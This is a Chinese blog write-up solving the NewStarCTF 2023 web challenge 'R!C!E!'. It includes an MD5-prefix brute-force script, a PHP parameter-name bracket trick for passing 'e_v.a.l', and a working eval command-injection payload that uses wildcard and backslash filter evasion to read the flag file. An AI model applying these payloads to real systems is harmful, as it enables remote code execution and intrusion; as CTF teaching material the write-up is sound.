NewStarCTF 2023 R!C!E!

这题考了好多以前没关注的知识点
找了好久才全部解决 这里记录一下 无论哪个所谓的"讨论群"都以比赛时不让讨论...

题目源码:
image
第一步 要想办法让md5(password)的前6位满足
这里给出MD5截断 爆破脚本:

点击查看代码
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.ascii_letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds.encode('utf-8'))
        if md5.hexdigest()[start: start+str_len] == substr:
            print (rnds)
            stop_event.set()
if __name__ == '__main__':
    substr = "c4d038"
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                         stop_event, str_len, 0))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()

同时给出password:6O48A7ZyA0nskVwOIGCQ

接下来就是最坑的一个点了...
由于 e_v.a.l 正常POST的时候 "."会被解析为" _ "
找了好多资料最终发现 可以用这种方式绕过:
第一个" _ "我们用"[" 然后后面的"."照写
当用"["来解析为" _ "后 后面的"."是不会被转成"_"的 (当知识点记住得了)
所以

&e[v.a.l=...

即可成功POST

最后就是RCE的问题了 以前没特别注意 这次开始时一直将e_v.a.l上传的用引号括起来 结果一直报错
image
后来把引号去掉 把结尾";"补好 就可以执行命令了
这里还有个坑: 要用 more f\lag
不然就算你用 ca\t 或者 ca$@t 等绕过了也得不到flag...
最终payload:

password=6O48A7ZyA0nskVwOIGCQ&e[v.a.l=echo(`cd /;l\s;more f?*?;`);

当然 flag也可以用 f\lag 等
最后得到flag

 bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var 
 :::::::::::::: flag :::::::::::::: 
 flag{15104f26-1580-4f0c-9c9f-b582be2527da}
posted @ 2023-09-30 09:21  N0zoM1z0  阅读(501)  评论(0编辑  收藏  举报